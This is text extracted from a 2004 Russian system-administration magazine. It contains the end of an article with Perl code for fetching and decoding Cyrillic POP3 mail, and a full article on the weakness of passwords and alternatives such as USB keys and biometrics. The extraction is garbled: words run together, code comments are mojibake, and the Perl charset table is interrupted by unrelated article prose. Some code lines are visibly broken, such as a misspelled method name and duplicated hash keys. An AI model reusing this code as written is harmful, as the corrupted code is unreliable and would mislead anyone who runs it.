Чем универсален этот код, так это тем, что в нём проис-ходят все стандартные MIME-декодировки – Base64 и Quoted-Printable – и перекодирование из ISO и KOI в Windows-1251.

Собственно, все. Переменная $subj содержит темуписьма, $body – тело письма, а $date – дату. Остальныепараметры письма вы сможете легко получить, исполь-зуя уже подключенные в программе модули.

Теперь вы смело можете сохранить в базе данных по-лученные результаты. Я, например, сохраняю их таким об-разом:

где модуль collector.pm – часть моего движка сайта, котораясоздает необходимую структуру и, используя ядро ret WebOSи модуль Storable, пишет её базу (обычные плоские файлы).

О проблеме альтернативной СУБД я напишу в другойстатье. Те, кого это заинтересовало, могут обратиться заподробностями по интернет-адресу: http://jkeks.far.ru/ret.

Подпрограммы или процедуры, ответственные за пе-рекодировку:

Огромная благодарность российскому разработчикубиблиотек pvd – Денису Познякову (Denis Poznyakov,[email protected]) – за минимальный код перекодировкирусских символов. Перекодировка основывается на дан-ных полей письма, тут нет попытки создания какого-либоанализатора.

foreach $msgid (keys %$messages){

$message = $pop->get($msgid);unless (defined $message)

{warn "Couldn't fetch $msgid from server: $!\n";next;}

$pop->delete ( $msgid );@message = @$message;$ent = $parser->parse_data ( \@message );$bodyCoding = $ent->head-> ↵↵↵↵↵

mime_attr( 'Content-type.charset' );$origType = $ent->head-> ↵↵↵↵↵

get( 'Content-Transfer-Encoding',0 );if ( $ent->effective_type eq 'text/plain' )

{# ïèñüìî � òîëüêî òåêñò$bodyCoding = $ent->head-> ↵↵↵↵↵

mime_attr( 'Content-type.charset' );$origType = $ent->head-> ↵↵↵↵↵

get( 'Content-Transfer-Encoding',0 );$body = $ent->body_as_string;}

elsif ($ent->effective_type eq 'multipart/alternative'and $ent->parts(0)->effective_type eq 'text/plain' ){# ïèñüìî, ãäå ïåðâàÿ ÷àñòü ìóëüòèïàð � òåêñò$bodyCoding = $ent->parts(0)->head-> ↵↵↵↵↵

mime_attr( 'Content-type.charset' );$origType = $ent->parts(0)->head-> ↵↵↵↵↵

get( 'Content-Transfer-Encoding',0 );$body = $ent->parts(0)->body_as_string;}

elsif ($ent->effective_type eq 'multipart/alternative'and $ent->parts(1)->ffective_type eq 'text/plain' ){# ïèñüìî, ãäå âòîðàÿ ÷àñòü ìóëüòèïàðò � òåêñò$bodyCoding = $ent->parts(1)->head-> ↵↵↵↵↵

mime_attr( 'Content-type.charset' );$origType = $ent->parts(1)->head-> ↵↵↵↵↵

get( 'Content-Transfer-Encoding',0 );$body = $ent->parts(1)->body_as_string;}

else {next}chomp $origType;

# Åñëè çàêîäèðîâàíî, äåêîäèðóåì åãî, âî èìÿ ñ÷àñòüÿif (lc($origType) eq 'quoted-printable')

{ $body = MIME::QuotedPrint::decode($body); }if (lc($origType) eq 'base64')

{ $body = MIME::Base64::decode($body); }$bodyCoding = lc($bodyCoding);# Ïåðåêîäèðîâêà êèðèëèöû ó òåëà, åñëè íàäîif ($bodyCoding ne '')

{if ($bodyCoding eq 'koi8-r') {$bodyCoding = 'koi'}if ($bodyCoding eq 'koi8r') {$bodyCoding = 'koi'}if ($bodyCoding eq 'iso8859-5') {$bodyCoding = 'iso'}if ($bodyCoding eq 'koi8-u') {$bodyCoding = 'koi'}if ($bodyCoding eq 'koi' || $bodyCoding eq 'iso')

{ $body = encoder($body, $bodyCoding, 'win') }}$subj = join( "",

map {xcode( ${$_}[1], ${$_}[0])}decode_mimewords(

$ent->head->get('Subject',0))

);$date = $ent->head->get('Date',0);

}

use collector;($r) = Add2Revorum ( \$subj, \$body, \$date );

sub xcode {# îïðåäåëÿåì êîäèðîâêó è âûçûâàåì ïåðåêîäèðîâùèê, åñëè íóæíîmy ($charset, $src) = @_;my %charsets = (

'windows-1251' =>'win','iso8859-5' =>'iso','koi8-r' =>'koi','koi8r' =>'koi','koi8-u' =>'koi',

);return $src unless ($charsets{lc($charset)});return encoder($src, $charsets{lc($charset)}, 'win');

}

sub encoder {my $enstring = shift; my $cfrom = shift; my $cto = shift;my %codefunk = (

win => "\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA ↵↵↵↵↵\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6 ↵↵↵↵↵\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2 ↵↵↵↵↵\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE ↵↵↵↵↵\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA ↵↵↵↵↵\xFB\xFC\xFD\xFE\xFF",

koi => "\xE1\xE2\xF7\xE7\xE4\xE5\xF6\xFA\xE9\xEA\xEB ↵↵↵↵↵\xEC\xED\xEE\xEF\xF0\xF2\xF3\xF4\xF5\xE6\xE8\xE3 ↵↵↵↵↵\xFE\xFB\xFD\xFF\xF9\xF8\xFC\xE0\xF1\xC1\xC2\xD7 ↵↵↵↵↵\xC7\xC4\xC5\xD6\xDA\xC9\xCA\xCB\xCC\xCD\xCE\xCF ↵↵↵↵↵

Page 81: 017 Системный Администратор 04 2004

79№4(17), апрель 2004

web

Если вы не поняли, как это работает, поясню. Данныйпример скачивает с почтового ящика все письма, обрабаты-вает их и передает системе управления базами данных либокуда-то еще. Этот код является основой описываемой тех-нологии. Как я и обещал, соблюдена полная кросс-платфор-менность между Windows и UNUX-системами. Все исполь-зуемые в скрипте библиотеки легко доступны.

От редактора: в процессе редактирования статьи былозамечено, что тот же самый Outlook Express нечасто ко-дирует русские буквы в заголовках сообщений. Все это,конечно, зависит от настроек, но мало кто из пользовате-лей Outlook занимается дотошной настройкой своего по-чтового клиента.

Поэтому процедура xcode при работе с такими заго-ловками не диагностировала необходимость перекодиро-вания. Немного подумав, была придумана небольшаямодификация. Это не панацея, а скромная попытка пере-крыть некоторые проблемы – угадать кодировку KOI8-R взаголовке. Для этого внесем только одну коррективу впроцедуру xcode – чуть усилим проверку:

Собственно, идея основана на том факте, что слово«Новость» в кодировке KOI будет восприниматься как«оПЧПУФШ» в кодировке Windows. Прием довольноспорный, но имеет право на существование. Абсолютноне применим на больших объемах текста – поверьте наслово.

Тема безопасности, аутентификация,вклиниванияЛюбое письмо, попавшее на ящик, может стать атакой илипросто спамом. Как с этим бороться?

Прежде всего вы можете организовать интернет-рас-сылку, где сможете управлять регистрацией нужных вамподписчиков. Обычно в системах рассылки уже встроенысвои собственные механизмы борьбы со спамом.

Описанный выше сценарий также подходит к делупринципиально. Принимаются только те сообщения, ко-торые пришли в виде текста. Кроме того, вырезаются бан-неры, расположенные обычно после символов «\n— \n»(это – стандарт TheBat). Также скрипт соблюдает логику:«можно только то, что разрешено», а не «можно то, что незапрещено».

Если проблемно организовать рассылку, скорее всеговам необходимо будет добавить проверку ключа (напри-мер, в теме письма должен быть соответствующий иден-тификатор). Идентификатор отбрасывает почти все про-блемы с безопасностью, однако это не накладывает огра-ничения на входящий трафик.

Замечание: если не считать проблемой открытостьпередачи самого идентификатора и то, что вставить его взаголовок может каждый увидевший.

Но самый безопасный вариант – принимать толькотекст, зашифрованный или подписанный при помощи про-грамм семейства PGP. Это также исключит возможностьпрочитывания писем при случайном доступе к ящику.

Немного рекламыРанее мы коснулись темы хранения данных. Важно пони-мать, что, кроме простых функций вроде публикации рас-сылки, со временем функциональность может обрасти свя-зями с различными разделами, а приходящие данные смо-гут иметь сложную структуру. Плюс ко всему – не каждыйможет себе позволить профессиональный хостинг.

Ради этого всего появилось на свет ядро ret WebOS,которое (как одно из направлений) предлагает альтерна-тиву серверу SQL. Код системы минималистичен и длясвоей работы требует лишь наличия модуля Storable (ко-торый входит в стандартную поставку с Perl 5.8).

В свою очередь модуль blogs.pm предоставляет воз-можность хранить структуры данных любой сложности иосуществлять к ним доступ как к разделам сайта. Дан-ные хранятся в плоских файлах. Интернет-адрес проек-та: http://jkeks.far.ru/ret. Добро пожаловать!

\xD0\xD2\xD3\xD4\xD5\xC6\xC8\xC3\xDE\xDB\xDD\xDF ↵↵↵↵↵\xD9\xD8\xDC\xC0\xD1",

iso => "\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA ↵↵↵↵↵\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6 ↵↵↵↵↵\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2 ↵↵↵↵↵\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE ↵↵↵↵↵\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA ↵↵↵↵↵\xEB\xEC\xED\xEE\xEF",

dos => "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A ↵↵↵↵↵\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96 ↵↵↵↵↵\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2 ↵↵↵↵↵\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE ↵↵↵↵↵\xAF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA ↵↵↵↵↵\xEB\xEC\xED\xEE\xEF",

koi_lc => "tr/\xB3\xE0-\xFF/\xA3\xC0-\xDF/",koi_uc =>"tr/\xA3\xC0-\xDF/\xB3\xE0-\xFF/",win_lc => "tr/\xA8\xC0-\xDF/\xB8\xE0-\xFF/",win_uc =>"tr/\xB8\xE0-\xFF/\xA8\xC0-\xDF/",alt_lc => "tr/\xF0\x80-\x9F/\xF1\xA0-\xAF\xE0-\xEF/",alt_uc => alt_lc => "tr/\xF1\xA0-\xAF\xE0- ↵↵↵↵↵

\xEF/\xF0\x80-\x9F/",iso_lc => "tr/\xA1\xB0-\xCF/\xF1\xD0-\xEF/",iso_uc => "tr/\xF1\xD0-\xEF/\xA1\xB0-\xCF/",dos_lc => "tr/\x80-\x9F/\xA0-\xAF\xE0-\xEF/",dos_uc => "tr/\xA0-\xAF\xE0-\xEF/\x80-\x9F/",mac_lc => "tr/\xDD\x80-\xDF/\xDE\xE0-\xFE\xDF/",mac_uc => mac_lc => "tr/\xDE\xE0-\xFE\xDF/\xDD\x80-\xDF/"

);if (!$enstring or !$cfrom or !$cto) {return 0}else {

if ($cfrom ne "" and $cto ne "lc" and $cto ne "uc") {$_ = $enstring;$cfrom = $codefunk{$cfrom};$cto =

$codefunk{$cto};eval "tr/$cfrom/$cto/"; return $_;

}elsif (($cfrom ne "") and ($cto eq "lc" or $cto eq "uc")) {

$_ = $enstring; $cfrom = $codefunk{"$cfrom\_$cto"};eval $cfrom; return $_;

}}return $enstring;

}

# çàêîììåíòèðóåì ñòðîêó, âîçâðàùàþùóþ íåèçìåíåííûé# çàãîëîâîê è ïðîäîëæèì ïðîâåðêó:# return $src unless ($charsets{lc($charset)});unless ($charsets{lc($charset)})

{# åñëè êîäèðîâêà íåîïðåäåëåíà, ñ÷èòàåì âõîæäåíèå# áîëüøèõ è ìàëåíüêèõ ðóññêèõ áóêâ$upper = "¨ÉÖÓÊÅÍÃØÙÇÕÚÔÛÂÀÏÐÎËÄÆÝß×ÑÌÈÒÜÁÞ";$lower = "¸éöóêåíãøùçõúôûâàïðîëäæýÿ÷ñìèòüáþ";$ucount = eval("\$src =~ tr/$upper/$upper/;");$lcount = eval("\$src =~ tr/$lower/$lower/;");

# åñëè áîëüøèõ áóêâ áîëüøå � ñêîðåå âñåãî ýòî KOI8# è ìû ïåðåêîäèðóåì ýòî â Windowsreturn encoder($src, 'koi', 'win') if ($ucount > $lcount);# èíà÷å, êàê è ðàíåå, âîçâðàùàåì íåèçìåíåííûé çàãîëîâîêreturn $src;}

Page 82: 017 Системный Администратор 04 2004
Page 83: 017 Системный Администратор 04 2004
Page 84: 017 Системный Администратор 04 2004

82

образование

МАКСИМ КОСТЫШИН

В ЧЕМ СЛАБОСТЬ ТВОЯ?

Несмотря на все усилия при построении защиты в компьютерном деле наиболее уязвимыми наименее предсказуемым остается человек. К сожалению, при работе на компьютере человекспособен только понизить уровень защищенности, если он не выполняет определенных требованийбезопасности. Последние примеры схем распространения вирусов по электронной почте (MуDoom,Bagle и т. д.) показали, что любопытство пользователей активно используется вирусописателяминаряду с эксплуатацией известных уязвимостей программных продуктов и, что это может повлечьсерьезные проблемы для всего сообщества Интернет. Так как проблема человеческого факторав вопросах безопасности достаточно объемная, то в данной статье мы остановимся толькона вопросах, связанных с парольной защитой, и даже в рамках этой темы только ее частью –способом хранения конфиденциальной информации для аутентификации.

Page 85: 017 Системный Администратор 04 2004

83№4(17), апрель 2004

образование

Немного историиВ первой главе своей книги известный компьютерныйвзломщик Кевин Митник так описывает подробности про-никновения в компьютерную систему корпорации DEC.«…Представившись как Антон Чернофф, который былодним из ведущих разработчиков проекта, я сделал про-стой звонок системному администратору. Я притворил-ся, что не могу зайти через одну из «моих» учетных за-писей, и был достаточно убедительным, чтобы прика-зать парню дать мне доступ и позволить выбрать такойпароль, какой я выберу сам. Во время входа по удален-ному телефонному доступу пользователь должен датьтакже и пароль, что было дополнительным уровнем за-щиты. Системный администратор сказал мне пароль.Это слово было «buffoon» (дословно: шут, фигляр), по-моему, это то, кем он должен был себя почувствовать,когда понял все, что произошло. Я получил доступ кRSTS/E – системе разработки DEC. И я вошел не какрядовой пользователь, а со всеми привилегиями раз-работчика системы...».

Несмотря на то, что эта история, описанная выше,случилась в прошлом тысячелетии, XXI век вполне мо-жет соревноваться по анекдотичности ситуаций, при ко-торых беспечность пользователей в отношении своихпаролей просто поразительна.

На проходившей в апреле 2003 года в Лондоне выс-тавке InfoSecurity Europe 2003 (www.infosec.co.uk) ееорганизаторы провели ставшее уже традиционным ис-следование сознательности офисных работников в воп-росах безопасности. На столичной станции Waterloo подвидом социального опроса предлагалось в обмен на де-шевую ручку ответить на ряд вопросов, в том числе на-звать свой пароль, а также определить те критерии, покоторым он формируется. 90% сразу назвали пароль(для сравнения, 65% – в 2002 году). Заметим справед-ливости ради, что правдивость ответов никто никогдавыяснить не сможет.

Один из опрошенных вначале отказался назватьсвой пароль, сославшись на требования безопасности,однако вскоре выяснилось, что в качестве пароля он ис-пользует имя дочери, а немного позже мнимые социо-логи смогли выяснить и как ее зовут. Согласно полу-ченной в ходе исследования статистике часто паролемявлялось слово «password» (12%), а другими популяр-ными категориями были собственное имя (16%), назва-ние любимой футбольной команды (11%) и дата рожде-ния (8%). Два третьих опрошенных дали свой парольколлеге (показатель аналогичен 2002 году), а три чет-верти знали пароли их сослуживцев. Дополнительно киспользованию пароля для доступа к их информации вкомпании, две трети использовали тот же пароль вез-де, включая их персональные банковские счета, цент-рализованный доступ Web и т.п.

Настораживает то, что некоторые методы взлома, ис-пользованные Митником в 90-х годах в процессе своейкриминальной деятельности, вполне работают и сегод-ня. В марте этого года в прессе была опубликована ин-формация о задержании москвича-мошенника, которыйторговал секретными PIN-кодами карточек экспресс-оп-

латы доступа в сети Интернет, при этом часть этих кар-точек даже не поступала еще в продажу. Как показалорасследование, «все карточки экспресс-оплаты изготав-ливались в коммерческой типографии. В процессе из-готовления некоторые карточки получались бракован-ными и уничтожались ненадлежащим способом, послечего просто выбрасывались на территории типогра-фии», – отметили в пресс-службе. Молодой человекработал в одном из офисов, расположенном на терри-тории типографии, где и подбирал остатки карточек,среди которых и были карточки указанной компании, атакже многих других интернет-провайдеров, операто-ров IP-телефонии и сотовой связи. Собрав и сложивобрезки, он получил секретные PIN-коды.

Что же делать?Факты человеческой беспечности будут присутствоватьв нашей жизни всегда. Однако вернемся все же к теместатьи. Попытаемся ответить на вопрос, что реальноможно предпринять для решения проблем безопаснос-ти при использовании паролей.

Одно из направлений работы может быть связано сужесточением требований административного характе-ра. Стандартной мерой является введение ограничениясмены пароля через каждые три месяца, полгода, год,а также установка ограничения на сложность пароля вполитиках безопасности операционной системы или науровне домена (для Windows см. «Пароли должны от-вечать требованиям сложности» или «Passwords mustmeet complexity requirements»). При этом помимо иныхтребований будет проверяться, не содержат ли пароличасти имени пользователя или не используется ли пос-леднее в их качестве.

Также обязательным станет наличие заглавных букв,прописных букв и неалфавитных символов. Кроме того,будет проводиться проверка соблюдения минимальнойдлины пароля – 6 символов.

Можно не сомневаться, что итогом такой профилак-тической работы по повышению уровня защиты паро-лей станет практика сохранения паролей на листочке(возможно, даже для лучшей защиты бумага с паролемдополнительно будет помещаться в сейф). Кроме того,администраторы получат дополнительную головнуюболь от обращений пользователей, забывших свои па-роли (не секрет, что некоторые пользователи не помнятдаже своего имени для входа в сеть).

Однако давайте задумаемся о том, в чем же заклю-чается суть проблемы при работе пользователей с па-ролем. Для этого сформируем основные свойства па-роля, которые влекут за собой предпосылки к утечкеконфиденциальных данных:! Адаптированное для восприятия человеком пред-

ставление. Пароль – это определенная комбинация,которую человек в состоянии запомнить и соответ-ственно может забыть или раскрыть кому-либо.

! Возможность копирования. Пароль в его современ-ном виде может быть продублирован различнымиспособами, контроль за этими процессами невоз-можно наладить.

Page 86: 017 Системный Администратор 04 2004

84

образование

Следовательно, повышение надежности защиты поль-зователей может обеспечить отсутствие указанныхсвойств в ситуациях, когда необходима идентификацияи аутентификация пользователей. Если человек не в со-стоянии запомнить информацию для доступа в сеть, зна-чит, он не сможет ее никому раскрыть, даже по принуж-дению. Если информацию для доступа в сеть невозмож-но продублировать, значит, владелец и администратормогут ее гарантированно контролировать. Меньше про-блем при этом возникает для ситуаций увольнений, ког-да сотрудник перед своим уходом передает данныеаутентификации администратору корпоративной сети игарантированно теряет возможность доступа к корпора-тивным информационным ресурсам. Далее в статье при-водится попытка систематизировать информацию о су-ществующих в настоящее время подходах, которые мо-гут прийти на смену общепринятым паролям.

USB-ключиНаиболее перспективной альтернативой паролям оста-ется использование для аутентификации пользователяUSB-ключей, которые напрямую подключаются к ком-пьютеру через порт USB (Universal Serial Bus). Размертаких устройств позволяет носить их в связке с обыч-ными домашними ключами. Они не требуют дополни-тельных считывателей, имеют встроенную память 8/16/32/64 Кб для хранения персональной информации и удо-стоверений личности, а также независимый процессордля аутентификации и защиты данных при работе всети. Все известные USB-ключи имеют уникальный се-рийный номер (32/64 бита). Данные на USB-ключе до-полнительно защищаются с использованием так назы-ваемого PIN-кода. Кроме того, в функциональностьUSB-ключей включен генератор случайных чисел. Сиспользованием таких устройств можно обеспечитьработу с инфраструктурой открытых ключей – PKI. Приэтом весь процесс генерации вашего личного криптог-рафического ключа, формирование электронной циф-ровой подписи никогда не выйдет за пределы USB-брел-ка (в случае аппаратной реализации криптоалгоритмов).В среднем стоимость USB-устройств составляет 30-50$,в зависимости от размещенного объема памяти и реа-лизованных функций.

К наиболее часто встречаемым на рынке СНГ USB-ключам относятся следующие продукты:! iKey – компании Rainbow Technologies

(http://www.rainbow.msk.ru/);! eToken – компании «Аладдин»

(www.aladdin.ru).

Заметим, что недавно в прессе появилась информа-ция о выпуске Rainbow Technologies нового гибридногоустройства под названием RfiKey, совмещающего в себе

USB-идентификатор iKey и технологии контроля доступав здания с использованием бесконтактных (т.н. proximity)карт на частоте 125 кГц от HID Corporation в единое уст-ройство для безопасного доступа в здания и доступа кзащищенным данным.

Несмотря на все свои преимущества USB-ключи об-ладают и недостатками. Основными проблемами, с кото-рыми можно столкнуться при использовании USB-ключей,являются:! поддержка в USB-ключах государственных криптогра-

фических алгоритмов электронно-цифровой подписии шифрования (обычно в USB-ключах и программномобеспечении поддерживается работа только RSA иDES-алгоритмов);

! наличие аппаратной реализации криптографическихопераций (стойкость системы, построенной на основеключей с программной реализацией, на порядок ниже,т.к. критические операции будут выполняться на ва-шем компьютере и потребуют извлечения из ключей впамять компьютера секретных данных).

Биометрические устройстваК биометрическим технологиям относятся распознаваниеиндивидуальных особенностей пальца, рисунка радужнойоболочки глаза, голоса, лица, фигуры человека. Соглас-но статистике, приведенной ниже, наиболее распростра-ненным объектом биометрической идентификации покаостается палец.

Биометрия – серьезный конкурент USB-ключам, и боль-шие успехи в этой области ожидались уже в 2003 году.Однако ряд негативных моментов не позволил прогнозамсбыться. Одним из основных препятствий развитию рын-ка биометрических технологий специалисты считают от-сутствие стандартов в этой отрасли. Серьезным минусомдо последнего времени являлась очень высокая стоимостьизделий (около $150). Недавно в прессе появилась инфор-мация о том, что компания APC выпустила компактноеустройство персонального биометрического контроля до-ступа к компьютеру, которое должно появиться в прода-же в марте 2004 года по цене $50.

Не секрет, что в последнее время биометрией серьез-но заинтересовались правительства различных госу-

Ðèñóíîê 1. Èäåíòèôèêàòîð eToken R2

Ðèñóíîê 2. Äàííûå Biometric market report 2000-2004

Ðèñóíîê 3. USB-óñòðîéñòâî ïåðñîíàëüíîãî áèîìåòðè÷åñêîãîêîíòðîëÿ äîñòóïà ê êîìïüþòåðó êîìïàíèè APC

Page 87: 017 Системный Администратор 04 2004

85№4(17), апрель 2004

образование

дарств, что может свидетельствовать о хороших перспек-тивах развития этой отрасли. Вот только краткая инфор-мация за 2004 год.

Евросоюз20 февраля Еврокомиссия приняла предложения о вклю-чении биометрических данных в паспорта граждан Евро-союза. Согласно этим предложениям, все граждане странЕС, а также иностранцы, пребывающие в ЕС, должны бу-дут пройти идентификацию 1800 характеристик лица, от-печатков пальцев для записи их в Шенгенскую Информа-ционную Систему (SIS II). Аналогичные данные будут за-писаны в микрочип на паспортах.

РоссияМВД России приступило к разработке новых загранпас-портов, содержащих биометрические данные. Основноеих отличие от ныне действующих заключается в том, чтодокументы нового поколения будут содержать в электрон-ной форме сведения о биометрических данных их владель-цев. На сегодняшний день в качестве биометрическихданных, подлежащих обязательному внесению в загранич-ные документы, странами «восьмерки» предварительноопределены закодированное изображение лица и отпе-чатков пальцев их владельцев.

СШАПрограмма VISIT, представленная Департаментом внут-ренней безопасности США, требует от всех претендентовна въездную визу иметь биометрическую информацию впаспортах к октябрю 2004 года.

БританияПредполагается, что будет создана централизованнаябаза данных обо всех жителях Соединенного Королевстваи введены обязательные биометрические идентификаци-онные карты, которые должны будут включать рисунок ра-дужной оболочки глаза, отпечатки пальцев или ладони.На первом этапе планируется включить биометрическуюинформацию в паспорта и водительские удостоверенияграждан Британии. Кроме того, предполагается выдачаидентификационных карточек гражданам ЕС и другиминостранным гражданам, проживающим в Великобрита-нии. Идентификационные карты будут также предлагать-ся в качестве дополнительного документа гражданам, неимеющим паспорта или водительского удостоверения.

КитайНовые паспорта граждан должны включать информациюо рисунках отпечатков пальцев и сетчатки глаза. Помимоэтого предполагается, что удостоверение личности будетсодержать 18-битный код с генетической информацией овладельце. Для перехода на новые паспорта Китаю, пооценкам официальных лиц, понадобится пять-шесть лет.

К недостаткам технологии биометрической аутентифи-кации можно отнести пока еще высокую стоимость такихизделий, а также необходимость дополнительного устрой-ства считывания биометрических данных, что является оп-ределенным неудобством при использовании.

Другие типы устройств, которые могутиспользоваться для авторизациипользователейСмарт-карты (микропроцессорные карты). Технологияиспользования смарт-карт по своим внутренним функ-циям аналогична технологии USB-ключей, описаннойвыше. Отличие заключается только в том, что получе-ние данных из смарт-карт предполагает наличие еще исчитывателя, который может быть встроен в клавиату-ру, подключен к COM, LPT или USB-порту. Соответствен-но наличие считывателя влечет за собой как удорожа-ние проектов (стоимость считывателя составляет около$50, микропроцессорной карты – $5-20), так и вноситнеудобства в процесс непосредственного применения.

iButton – разработка компании Dallas Semiconductor.Модельный ряд идентификаторов iButton довольно ши-рок и разнообразен. iButton представляет собой микро-схему, вмонтированную в герметичный стальной корпус.Корпус отдаленно напоминает батарейку для наручныхчасов и имеет диаметр 17,35 мм. Для передачи инфор-мации в компьютер используется считыватель, которыйможет подключаться на COM, LPT или USB-порт компь-ютера. В конце 1990-х устройство достаточно широко ис-пользовалось для хранения конфиденциальных данныхпри разработке различных криптографических аппарат-но-программных средств.

Несмотря на серьезные характеристики по надежно-сти и малую стоимость устройства iButton не нашли ши-рокого применения для аутентификации пользователейиз-за небольшой емкости памяти (Кб информации), не-обходимости считывателя, зависимости его срабатыва-ния от точности ручного соприкосновения идентифика-тора и считывателя, осуществляемого вручную.

RFID-устройства (Radio Frequency Identification – ра-диочастотная идентификация) – устройства, аналогич-ные которым часто используют в системах контроля до-ступа и больше известны как proximity-карты. До настоя-щего времени RFID-технология не нашла применения приаутентификации пользователей компьютеров, однако ак-тивный интерес со стороны потребителей, а также раз-витие технологий в этой сфере может привести к тому,что широкое распространение таких устройств в нашейжизни позволит найти применение в сфере компьютер-ных технологий.

Ðèñóíîê 4. Ìèêðîïðîöåññîðíàÿ êàðòà CryptoFlex è óñòðîéñòâî÷òåíèÿ/çàïèñè ñìàðò-êàðò â âèäå FDD ACF30

Ðèñóíîê 5. Ñòàíäàðòíûé âèä iButton

Page 88: 017 Системный Администратор 04 2004

86

образование

RFID-устройства представляют собой крохотную мик-росхему (разработка японской компании FEC Inc. – RFID-чип Manathir занимает площадь в половину квадратногомиллиметра, стоимость около 10 центов), которая обыч-но не имеет собственного источника питания, но наде-лена памятью и антенной. В памяти обычно записан не-кий уникальный номер («идентификатор»), либо наборинформации, хранящий полезные сведения о том пред-мете, на который помещен данный чип, а антенна слу-жит для улавливания сигнала внешнего, расположенно-го от десятков сантиметров до нескольких метров, счи-тывающего устройства – радиосканера и передачи от-вета с использованием энергии принятых электромагнит-ных волн. RFID-технология разрабатывалась в качествезамены устаревшему штрих-кодированию.

Применение RFID-устройств позволяет маркироватьтовары в магазинах розничной торговли, использоватьпри изготовлении банкнот и документов, имплантация вчеловеческие органы или использование других мето-дов помещения подобных устройств на человека для кон-троля его перемещения.

К недостаткам RFID-систем относят слабую элект-ромагнитную защищенность (недавно компания RSASecurity, продемонстрировала опытный образец систе-мы Anti-RFID, позволяющей эффективно «глушить» ра-диосканеры RFID) и высокую стоимость (на отечествен-ном рынке идентификаторы в зависимости от типа сто-ят от 1,3 до 5 долл., цена считывателей может превы-шать $150).

О внедрении стандартов TCPAВ архитектуру персональных компьютеров, которая быларазработана в 1980-х, не закладывались серьезные тре-бования к вопросам безопасности (предполагалось, чтокомпьютеры будут работать под управлением однополь-зовательской операционной системы, а подключение кИнтернету даже не обсуждалось). Проблемы безопасно-сти в основе компьютерных решений требовали принци-пиально новых решений, и в 1999 году был создан про-мышленный консорциум, объединивший свыше 100 тех-нологических компаний, известный как Trusted ComputingPlatform Alliance – TCPA (http://www.trustedcomputing.org),определивший аппаратные дополнения к архитектуреперсональных компьютеров, которые должны исправитьнекоторые недостатки безопасности. В мае 2003 годакомпания была реорганизована в новую отраслевуюгруппу Trusted Computing Group (TCG), функции кото-рой расширились на все виды программного и аппарат-

ного обеспечения, от компьютеров до PDA и сотовыхтелефонов. Результатом деятельности TCPA стали пер-вая в мире BIOS, поддерживающая спецификацию TCPA1.0 компании American Megatrends Inc. (AMI); процессорPrescott от Intel, в котором заявлена встроенная систе-ма защиты информации La Grande. У Microsoft есть свойPalladium, у VIA – Padlock. Несомненно, что определен-ный промежуток времени понадобится производителямпрограммного обеспечения для того, чтобы поддержатьаппаратные реализации спецификации TCPA на уров-не операционной системы. Возможно, что в течение бли-жайших лет персональные компьютеры, удовлетворя-ющие требованиям TCPA, появятся в продаже. Тенден-ции решения вопросов безопасности на аппаратномуровне, несомненно, окажут влияние на весь спектррешений по компьютерной защите и скажутся на даль-нейшем развитии технологий аутентификации пользо-вателей.

Некоторые итогиАктивно используемая парольная защита пользовате-лей не удовлетворяет возросшим требованиям компь-ютерной безопасности. Пароль становится слабым зве-ном системы защиты и требует замены. В настоящеевремя, когда необходимо обеспечить достаточный уро-вень безопасности при аутентификации пользователей,альтернатив USB-ключам нет. Указанные устройствапредлагают максимально возможный уровень комфор-та для работы пользователей, а также гарантирован-ный уровень безопасности при использовании схемыхранения и обработки личных секретных данных внекомпьютера. Однако успехи в биометрической облас-ти, снижение себестоимости биометрических устройстваутентификации, а также развитие других технологиймогут позволить через 2-3 года определить других ли-деров для решений в области альтернатив парольнойаутентификации пользователей.

Источники информации:1. «Первая (отсутствующая) глава книги Кевина Митни-

ка», Компьютерная газета №1 (12 января 2004 г.)http://msk.nestor.minsk.by/kg/2004/01/kg40123.html;

2. «Office workers give away passwords for a cheap pen»,J.Leydenhttp://212.100.234.54/content/55/30324.html;

3. «Как лучше потерять пароль», В.Демидов, Газета «Ком-пьютерные Вести», №28, 2001 г.www.kv.by/index2001282201.htm;

4. «Новое лицо идентификационных устройств», Э.Кларк,Журнал «LAN», №09, 2000 г.http://www.osp.ru/lan/2000/09/059.htm;

5. «Аппаратно-программные средства контроля доступа»,В. Шрамко, «PCWeek/RE», N9, 2003 г.

6. «A Security Analysis of the Secure Electronic Registrationand Voting Experiment (SERVE)», January 20, 2004 г.http://www.servesecurityreport.org/;

7. «Защита подождет?», В.Соболев, Журнал «Мир ПК»,№02, 2004 г.http://www.osp.ru/pcworld/2004/02/028.htm.

Ðèñóíîê 6. ×èï, èìïëàíòèðóåìûé ïîä êîæó ÷åëîâåêà, øïðèö äëÿåãî ââîäà è ñêàíåð VeriChip ïðîèçâîäñòâà àìåðèêàíñêîé êîð-ïîðàöèè Applied Digital Solutionsè (ADSX)

Page 89: 017 Системный Администратор 04 2004
Page 90: 017 Системный Администратор 04 2004

88

hardware

АНДРЕЙ БЕШКОВ

СТОРОЖЕВОЙ ПЕС

Page 91: 017 Системный Администратор 04 2004

89№4(17), апрель 2004

hardware

